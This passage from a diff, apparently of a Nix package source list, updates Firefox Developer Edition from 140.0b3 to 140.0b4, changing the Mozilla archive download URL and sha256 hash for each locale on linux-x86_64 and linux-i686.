+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/mr/firefox-140.0b4.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "143796cc2bbc47cd13ca690b3c3538f0699a677d9019bb05d613543fb8d5723f";
+      sha256 = "8caa52f7d7eba810af4ee5fe666a0f8b42f06178a048b9c3df552d60de229512";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ms/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ms/firefox-140.0b4.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "f6af941b3f4acfb38e6ada2fe3f79ec1c8870c70420ad3e1ef21247fa4970225";
+      sha256 = "2ec5bd3d8077427e6f897f24a65dd0795106b41c53f869e198c473d80f9a1187";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/my/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/my/firefox-140.0b4.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "cbe571d5680cc82942da8c7271c2a3432198664338680ae39d436823f526bd55";
+      sha256 = "43e005ebbc0e36c28beeb7459e4332f258a5ed4c7782ac1edfe9e667f0f27320";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/nb-NO/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/nb-NO/firefox-140.0b4.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "279bc36eb72990932f211ea33903708d883481df7167a84b87e8f2c6153f575b";
+      sha256 = "22e97b6b60c15ebd0aecd0d4c4add317cc33f60a05cbfcb7e2cbbf415b740fca";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ne-NP/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ne-NP/firefox-140.0b4.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "311345680b6d327992c6e18c26e6d38dffc07b85194c8a7d3b9b2fc49989c755";
+      sha256 = "1e16445ab882842732731a9c03d68a6c1f2141ee2a78a00d2cec4d8310361657";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/nl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/nl/firefox-140.0b4.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "8c67cfc7478113cd961771ef3c0d2be125c64f002dc10458bef7f17d83543fee";
+      sha256 = "da05f794f09e9c91b7b0abb0d446ff0d93d4e21ec9519464a29d39d8025e9144";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/nn-NO/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/nn-NO/firefox-140.0b4.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "2831b4d2d63a1e3029bc8a29b4cf35b011a43ee46b2d2ab8ab50abbc16d95d82";
+      sha256 = "2d1b1f7ef8610cc251c1555218babc2d93e8189088dc00fd5c64d76e5d1b1524";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/oc/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/oc/firefox-140.0b4.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "79cdcdad5622b3a3ac4742b8021146554e7f6a6f1cd86a6c48b7e9505f85e0dc";
+      sha256 = "89ea5fa03cc3ad404bdcf4a8586daa44a9de04552be5618f5fca1cd033572832";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/pa-IN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/pa-IN/firefox-140.0b4.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "a21f05f7753ca70cd08d60ebad30cdeb32e64e135a401072f415fd76599e9606";
+      sha256 = "4722a3918593e032bd846f1ffd00e432014e84afc4f65b84d40b6345972456d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/pl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/pl/firefox-140.0b4.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "eeebfc01a29a2bd07adc10f4921adc892e558b1704cc4d8f0d739ebb715ad90f";
+      sha256 = "5dc3a51b9d3b63be9c55ee7fa3e6bc489fec279c1cdda3fb7a905d2b892bc236";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/pt-BR/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/pt-BR/firefox-140.0b4.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "a90b73e1e8857201a633d70e520796b6db1f52f6ef5e59cbd76b39d491a02179";
+      sha256 = "47c5182687c634fe5d71bd4e4de4fa564fb1c5e11cdc1e1909c61ef4887ae64e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/pt-PT/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/pt-PT/firefox-140.0b4.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "f4bb8f65e03fedb3b17771d55c4c0906e2902f1dfa6a93d8d0c7a7f2a32990a8";
+      sha256 = "ac74c82c721cd6690cbc5d684b684f9b8856ee369f6336a582a7afaa70796ddf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/rm/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/rm/firefox-140.0b4.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "3b0e0ccea7d9cef4a3fe1daff20d1e3902b9efeb08c8a9aa406ca2be2602de48";
+      sha256 = "c0b3597bdb10e90649b0d4d7f7021fae07540f59b8ff001c37e3384ca191a290";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ro/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ro/firefox-140.0b4.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "2571da74920d477bf003120dc5a654544037374d0373697417433f6caf82ded5";
+      sha256 = "bbf4412b492a5aa9c69a24e98549cf58715174dc7a5332ad68e7057096c57712";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ru/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ru/firefox-140.0b4.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "030badf2ca2e23a9a475c1327c50547c7284eef1597a615caa8409c492b66bc8";
+      sha256 = "a9760586112083eb36a80ad983ba2b2871d9388567de54786a074639ad1e60d2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/sat/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/sat/firefox-140.0b4.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "85c67e09291d12003e6460059537e24d037a955e9f3a747b1adddcce9826d2dc";
+      sha256 = "66207f430c6ca2ec178d749c1a73950b13d4532f455303689cb6f333dd42d534";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/sc/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/sc/firefox-140.0b4.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "ef28329016e4f2cb0ada2aa55e915bc1bf5b4be18c837fb7cdf029e445fff7f6";
+      sha256 = "39a81cdcab313029ef8517a8c5ba99ee00bad85eb0d8bcb4e474e978bec531b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/sco/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/sco/firefox-140.0b4.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "d033ac9b10892677a03d6988c2eeb0812da47dab91b82f4c6b4a47748fe9078a";
+      sha256 = "dc12f5de8d130e29ed6afdd973999f02d64a7e24a0319b4315dacd284411cbb5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/si/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/si/firefox-140.0b4.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "a44e640322041416b8f74ecf4b775bd83e420d27b42bc7c601a3e8388935106d";
+      sha256 = "882a0fe884852ae0674e504385801f5d37bc385f750cba7a657cce3b5208b915";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/sk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/sk/firefox-140.0b4.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "05607a7cc2d353b5b2a2dd969fce56a4665d1096b9f1e9210618a071be495a23";
+      sha256 = "ea153b3fc99a99391cefd60bd1ad85c7f20d8ab75c8ede046400ba11cc84270a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/skr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/skr/firefox-140.0b4.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "26e27c88122c2f5ea3f6ade3c6dcfb8f2c9b24f9a81a5ec5df4b02efb07a1553";
+      sha256 = "8bf2a2bd7162e0d77975ca84e90a11e5e3a3768dc6f2aa514ae337c6297234e3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/sl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/sl/firefox-140.0b4.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "3797ca5f36bda1fa5a44da7dd5dd44d8a139cdedf2a7d29477450a54d0e8a47b";
+      sha256 = "e84d6fc022ba4073b8fe718b97bd24f2a4607aa2373bfed8d5e3342392378d79";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/son/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/son/firefox-140.0b4.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "d8bcb22d5e108eafb114e8c1ad2b7e00817227a9ad012132a2cdc04628e1fbcb";
+      sha256 = "288cab80c8fc5f4d86c11e3a2eb7b709c7c83b1a9bb0af6277270e5de2c1a3a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/sq/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/sq/firefox-140.0b4.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "331c9cc72370af2514dfa9ad7596cedadcaa868d9536d4946812cdbf4c492d91";
+      sha256 = "01ac1ac79660e7881254e734b5fdd27bca4d5e4ca59edb9596f7e06351d70ac6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/sr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/sr/firefox-140.0b4.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "f05ef459482485ab76693e9cdec8d5c0a5e97f3185f103801c3041e8719a17bc";
+      sha256 = "fb3785faf424ced77ad426ca57af0f3e012a95369b1d21c2e45a0ee20b141513";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/sv-SE/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/sv-SE/firefox-140.0b4.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "c564461b75d461ebd1cec29ef55fb9afbe6477032027e6c42696d7174c5a7508";
+      sha256 = "fdd59c366029567c7304766df55c1b26cf343ea894ce860c09c9b6fc7de2d329";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/szl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/szl/firefox-140.0b4.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "d54288f9a2da27cb4d384ff8375608ba4fe367c98870cc5ce3f9df910178d8ed";
+      sha256 = "a134efee05e83eab94598023c344f8a5d1689577e3a502394207404c31f9e617";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ta/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ta/firefox-140.0b4.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "caf68d1283bc14b907b77cc8a25d84188209401ab723f37dcec1a0f05812d140";
+      sha256 = "d9435ca50da4cccea83236810861f171b82c226e309cfcdc4bc482cc7700824f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/te/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/te/firefox-140.0b4.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "bf49e26c1082e3413fae86190646f46d66db7d39d93e9a3685812d526e136ff4";
+      sha256 = "c39704e465a36dca6aab92f286212be3bf19d3bb13ffd9beb116c082a93d5b5b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/tg/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/tg/firefox-140.0b4.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "970548c941dbee501ccafd78d8634a0e1a542fd9af2bad3ae114bf91d7bea2cf";
+      sha256 = "8f7399c91dace4831a8ee9e8577cc1c5a4f6adf03dca99727b4a02dd75e3fd44";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/th/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/th/firefox-140.0b4.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "a45a478b45c9843a9132ae8a302a196936ca976f4266da357c3c4577f7235d22";
+      sha256 = "0272f94a2af35c3b1c119f840f773048172216512d413fc96bac3000d700af47";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/tl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/tl/firefox-140.0b4.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "82f642d104b0c23499d0052caf2266fba054d29f69623d21a6bf8ec8884f8435";
+      sha256 = "651df98e8048a27031bd7a3e2fc831f730a096b353c8ee4bc122dbb2efa9f9b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/tr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/tr/firefox-140.0b4.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "bb413e267dfe2a90ab6ac139cbf277a0a02f937918be3d004cb3231b7148f5d0";
+      sha256 = "3cf549f861a4116de29a557bb156c20ac00fe4c74b3d7d34ee034c58d93e02c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/trs/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/trs/firefox-140.0b4.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "aeb33928b53ba8a8a32e147a85588ae49d9bd284dfc14f86976d37def2b6efc5";
+      sha256 = "e95c80ae3cde23c2e5c46d275a3cf7fc7eafff7501e36f8eed75c35715099a82";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/uk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/uk/firefox-140.0b4.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "ec630f7e731bcc4b4bd8a25cfbf1de8671f2635eedbb5af3a649cdd81c7a07af";
+      sha256 = "5a449bbdcc17018e4ab397da53fb494088822785ad12a8cecedbf29b3f4ab469";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ur/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ur/firefox-140.0b4.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "44ed4d0fb735987ce4545ef1b5b3b9682580a5380ba11926ebdc6dc37c50eafb";
+      sha256 = "83bc6404434776cdfffe5dbb881ae129c770105199db75d93cb548e6d8e1b786";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/uz/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/uz/firefox-140.0b4.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "911e95a576aa3263f96772c4902ab20411ec07e958db87a409f3b13f7dfcb938";
+      sha256 = "03e14237adb3018e6f87a8c5f5f8958027de62bc61ae13d32f243416be24f8a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/vi/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/vi/firefox-140.0b4.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "06d4ddff9472adb30394fbd615d6865ca97efed1cbc4df760e2512af606582a8";
+      sha256 = "4b894630987ede195b9cefd5d1820dee6947b90059e852ab3af121edb26c23a6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/xh/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/xh/firefox-140.0b4.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "359c74677ee36bbb05b610c16b9bdef325214d908ab6d3bc8452f48581be354e";
+      sha256 = "21ec74dba16ce06e4801454ff7f12a08776eb51f811395910f5db5ef86c476ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/zh-CN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/zh-CN/firefox-140.0b4.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "9a4f770e862f9adfccd8894bcd25d528753712f95a4a1d08c2bc02468b199e5b";
+      sha256 = "c6b51c4b57e7930133f9b787a771f6ffbc07557c039f94c5e897b338a9429379";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/zh-TW/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/zh-TW/firefox-140.0b4.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "bbe5ed8be757ba3da19a1f67e41817684dbb0be5494d7bff79da53370c158934";
+      sha256 = "58cb18063b47f3fb738769a9384adb48f5ac31350209328f013a683f4bf55736";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ach/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ach/firefox-140.0b4.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "2f5d0939b594d6e1545c729fb154bf48aedc522d5d000489880c746e80d4bedf";
+      sha256 = "ba1ea1cb0fc6050123edbaf5c49211c8ee2c897fb01cebd85092d3802ad90007";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/af/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/af/firefox-140.0b4.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "adcf63fd00fe53ee56901a570ba6c8520e844f8e29e3dc3f45e389df1fa075a9";
+      sha256 = "a9b39fedc4a4fbd62a8a2ff8c56bee38c2785c5172a6017da1b01efca8e79981";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/an/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/an/firefox-140.0b4.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "29c0f898c8e45fe1f1b86e959c0881d0123f4cc3f9c6942fc5e9e776afefca2f";
+      sha256 = "b70844ad6f608cc3f9d212929e4e278ab86eb7a0ee6933ac73a4673a54979533";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ar/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ar/firefox-140.0b4.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "70f34c3c1bc6f4151a2b00372b8cbebf7a5a8ac7f671de68e14f13fe6b9c042f";
+      sha256 = "a3964ca7ef4331a9dfc59a2782ba02695e63698200920435b34cfb5d2a91b74c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ast/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ast/firefox-140.0b4.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "1bcb73e4f19995c8404e9bfc3d1463f5fe38da1d0a42cba2cf05d554d0c82c9e";
+      sha256 = "7953ed51d14b92a69ef579e9d36f0abdcf9e8e29e3e87f9c098605e520dbbb92";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/az/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/az/firefox-140.0b4.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "73ce010c00e10e630cfee1935ea038f6938623ae8e705edc2d65b2821d301ef4";
+      sha256 = "e306ba790d170ce433de39816ee322200d9332d9e4b4a3200233c77aed23fd46";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/be/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/be/firefox-140.0b4.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "3e88c90944e72a6f69a583cfa79637cefe8707f268013d67128b201f7f975082";
+      sha256 = "c95ff9d17f160b66e5d98b50cc9e3e23cb602e96535a20dc6d106648b634af5f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/bg/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/bg/firefox-140.0b4.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "6f3e2829f93ee12e727b6e0bb0819212e06e49f089be627f213dada909d69439";
+      sha256 = "7612be680b6232be9bf25f44e9878d705da84d9c06f689ce39b704cd5b467a3d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/bn/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/bn/firefox-140.0b4.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "8ecc981475148fd74bdcdb50e2beb1718f562087202dc7a940eabefb3aef51ad";
+      sha256 = "0ff1f5370c1c3ca852880b85bb5b0274a86a2129769b63dcec7dfe2c0dc24d01";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/br/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/br/firefox-140.0b4.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "45979503bb0596668ed7f8946cf0d4cb88518862b538ad97c60795a8c31a0b6f";
+      sha256 = "5cfb59c58c42c84b8b27eb764ba734513e3943182de27a924bfd9886fffcd7bc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/bs/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/bs/firefox-140.0b4.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "9ecd5a38c385219847134169839e72a61b266fc065f6a9299649fa3afe82942c";
+      sha256 = "82b6944f76105800a44cd0a6cc734a41901c84afdf504d32ffcee1ea6930302e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ca-valencia/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ca-valencia/firefox-140.0b4.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "5def0002175b68518305b15adc03b87dffd3249ee73ae79d384e3a6c68ff7a9f";
+      sha256 = "b431b242cf9ca2c894cc1ea30efd512c2aa390da9a4ac03ebceb019b8dfe07ff";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ca/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ca/firefox-140.0b4.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "eaace9c3e8cd44549fcd91a207a1762b426a77eb5d299ccd0f7e619021f382b4";
+      sha256 = "ab394498f4a9557cdca2b060e458c65d93cb95441464b36dd6131e3690d9edf0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/cak/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/cak/firefox-140.0b4.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "cfbfd5f3372ecc352a55a64844984ad93d2a756bdfcb822f9333f5a739659f31";
+      sha256 = "04d17aafda6d62a9c3a225fd6136d1ed6f97d2a09f2580cf947f434f8ff1b63c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/cs/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/cs/firefox-140.0b4.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "0b7e0c0bc0f5f679eafcb89f3a22bb153ccf3bec2c439b86ea17ecc23d604528";
+      sha256 = "5286ed9fcd63351bea906c7b24b33398492bc2b8fe6e6ec0b07946f88630243f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/cy/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/cy/firefox-140.0b4.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "aae377897d7da3520d8f9baf4e318cb45fd40df79139095d7c8afd49396b7d2b";
+      sha256 = "cb83d8e01aba72c385dd9b9cc4a2a5fd791533481d9bddf32eb8b0245701adbe";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/da/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/da/firefox-140.0b4.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "644debcd7c8e8317e03ed1ee62ee3c9d83c7d253d4f7e90599004dc41d09e2b1";
+      sha256 = "48b9bbfd7985809559b801353e104ec5ab56654a0141e23e04220ed851705ed9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/de/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/de/firefox-140.0b4.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "0f53204b76af95ea05659875470512488e86850adcd8fff704c6c6e328549326";
+      sha256 = "b6b189a3c7b2fe43dce76e1021f96e45417d462847a743a1e77b683266aafcc5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/dsb/firefox-140.0b3.tar.xz";
